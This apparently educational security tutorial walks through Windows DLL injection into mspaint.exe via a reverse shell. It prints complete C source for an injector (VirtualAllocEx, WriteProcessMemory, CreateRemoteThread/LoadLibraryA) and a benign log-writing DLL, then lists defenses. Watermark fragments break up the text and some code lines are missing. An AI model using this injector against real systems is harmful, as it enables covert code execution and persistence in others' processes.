Exploiting Running Processes:
Basic DLL Injection:
DLL injection is a powerful technique that enables attackers to manipulate legitimate
processes by injecting malicious code, gaining control over their execution and
behavior. While process injection targets memory space directly, DLL injection
er
manipulates legitimate processes by loading malicious DLLs, enabling attackers to
yb
execute code, maintain persistence, or exfiltrate data. These techniques pose
significant threats to misconfigured and legacy systems.
C
k
Step 1: Gaining Initial Access
lis
The attacker starts by gaining access to the target system, often through phishing,
be
social engineering, or exploiting a vulnerability. This foothold allows them to establish a
reverse shell connection back to their machine for remote command execution.
O
We can verify this reverse shell connection is active.
|
Jr
tin
ar
M
ul
Pa
[Reverse Shell Connection Established]
Step 2: Enumerating Running Processes
Once on the target system, the attacker enumerates running processes to identify a
suitable target. Using the tasklist command, they find mspaint.exe running with
PID 8492.
We can verify this process and its PID on the target machine using Process Hacker.
er
yb
C
k
[Tasklist Output Showing PID 8492]
lis
be
| O
Jr
tin
[Process Hacker Showing PID 8492]
ar
M
Step 3: Preparing the DLL for Injection
ul
For the purpose of this example, the attacker uses a malicious DLL payload (“ez.dll”)
designed to create a log file as proof of execution. This log file, dll_log.txt, writes
Pa
“DLL executed successfully!” upon successful execution. The DLL can be delivered to
the target system through various means such as:
● Uploading via the reverse shell.
● Dropped by another payload.
● Leveraging misconfigured network shares.
Below are the source codes for the DLL payload and its injector. The original scripts,
sourced from Packt Publishing’s GitHub repository, required adjustments to address
compilation errors and adapt them for this proof of concept. Additionally, I chose to go
with a different payload for this example:
DLL Payload
er
#include <windows.h>
yb
#include <stdio.h>
C
BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {
k
lis
FILE *file;
switch (dwReason) {
be
O
case DLL_PROCESS_ATTACH:
file = fopen("C:\\dll_log.txt", "w");
|
if (file) {
Jr
fprintf(file, "DLL executed successfully!\n");
tin
fclose(file);
}
ar
break;
M
ul
case DLL_PROCESS_DETACH:
Pa
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
return TRUE;
These modified scripts ensure compatibility with modern systems while maintaining
er
functionality. The original scripts are available here:
yb
Payload:
C
https://github.com/PacktPublishing/Malware-Development-for-Ethical-Hackers/blob/main
/chapter02/01-traditional-injection/evil.c
k
lis
Injector:
be
https://github.com/PacktPublishing/Malware-Development-for-Ethical-Hackers/blob/main
/chapter02/01-traditional-injection/hack3.c
| O
Step 4: Injecting the DLL
Jr
The attacker executes a custom script to inject the DLL into the target process. This
tin
script allocates memory within the target process, writes the DLL path to the allocated
memory, and uses LoadLibraryA to load the DLL. The script outputs: “DLL
ar
successfully injected!”
M
Injection Script
ul
Pa
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
// Path to the malicious DLL
char maliciousDLL[] = "C:\\ez.dll";
unsigned int dll_length = sizeof(maliciousDLL);
int main(int argc, char* argv[]) {
HANDLE process_handle;
HANDLE remote_thread;
er
PVOID remote_buffer;
yb
C
// Handle to kernel32 and LoadLibraryA
HMODULE kernel32_handle = GetModuleHandle("Kernel32");
k
lis
LPTHREAD_START_ROUTINE loadLibraryBuffer =
(LPTHREAD_START_ROUTINE)GetProcAddress(kernel32_handle, "LoadLibraryA");
// Parse the target process ID
be
O
if (argc != 2 || atoi(argv[1]) == 0) {
|
printf("Usage: %s <PID>\n", argv[0]);
Jr
return -1;
}
tin
ar
printf("Target Process ID: %i\n", atoi(argv[1]));
M
process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE,
(DWORD)atoi(argv[1]));
ul
Pa
if (!process_handle) {
printf("Could not open target process. Exiting...\n");
return -1;
// Allocate memory in the target process for the DLL path
remote_buffer = VirtualAllocEx(process_handle, NULL, dll_length,
MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!remote_buffer) {
printf("Could not allocate memory in target process. Exiting...\n");
CloseHandle(process_handle);
er
return -1;
yb
}
C
// Copy DLL path into the allocated memory
k
if (!WriteProcessMemory(process_handle, remote_buffer, maliciousDLL,
lis
dll_length, NULL)) {
printf("Could not write to the target process memory. Exiting...\n");
CloseHandle(process_handle);
be
O
return -1;
}
|
Jr
// Create a remote thread to execute the DLL
tin
remote_thread = CreateRemoteThread(process_handle, NULL, 0,
loadLibraryBuffer, remote_buffer, 0, NULL);
ar
M
if (!remote_thread) {
printf("Could not create the remote thread. Exiting...\n");
ul
CloseHandle(process_handle);
Pa
return -1;
printf("DLL successfully injected!\n");
// Clean up
CloseHandle(remote_thread);
CloseHandle(process_handle);
return 0;
er
yb
C
k
lis
[Reverse Shell Confirming Injection]
be
Step 5: Verifying the Injection on the Target Machine
O
Now, we can verify the DLL injection by inspecting the target process using Process
|
Hacker:
Jr
1. Modules Tab:
tin
○ We can observe the ez.dll module loaded into the mspaint.exe
process.
ar
○ The base address of the module is noted for further inspection.
M
ul
Pa
er
yb
C
[Modules Tab Showing ez.dll]
k
lis
2. Memory Tab:
○ Using the base address from the Modules tab, we navigate to the memory
allocated for ez.dll. be
○ In the ASCII section of the memory viewer, we can find the string:
O
C:\Users\A Vulnerable User\Downloads\dll_log.txt and “DLL
executed successfully!”, confirming the DLL’s execution.
|
Jr
tin
ar
M
ul
Pa
[Memory Tab Showing ASCII Log Content]
3. Log File:
○ The presence of dll_log.txt on the disk, containing the message “DLL
executed successfully!”, further confirms the payload’s success.
er
yb
C
k
[Payload’s dll_log.txt Confirming Execution]
lis
Why This Matters
be
O
DLL injection allows attackers to exploit legitimate processes, enabling:
|
Jr
● Persistence: Malicious code remains active while the process runs.
● Stealth: Activity appears to originate from a trusted application.
● Flexibility: Attackers can execute a variety of payloads, including keyloggers or
tin
data exfiltration tools.
ar
These techniques remain a threat to misconfigured or outdated systems, where
defenses like memory protection policies are not properly implemented.
M
ul
How to Defend Against This Technique
Pa
1. Harden Process Memory Protections:
○ Enable Data Execution Prevention (DEP) and Address Space Layout
Randomization (ASLR) to randomize memory addresses and prevent
injection
○ Leverage Control Flow Guard (CFG) to prevent hijacking.
2. Implement Advanced Endpoint Security:
○ Monitor API calls like VirtualAllocEx, WriteProcessMemory, and
CreateRemoteThread for suspicious behavior.
3. Reduce Attack Surface:
○ Remove unnecessary applications and DLLs that could be exploited.
○ Use application whitelisting to restrict DLL execution to trusted directories.
er
Conclusion
yb
This demonstration showcases how DLL injection can be used to exploit running
processes on misconfigured or outdated systems. Understanding these techniques
C
enables better preparation and defenses against them.
k
lis
Stay vigilant, and keep learning—every step forward strengthens the security of our
digital landscape.
be
| O
Jr
tin
ar
M
ul
Pa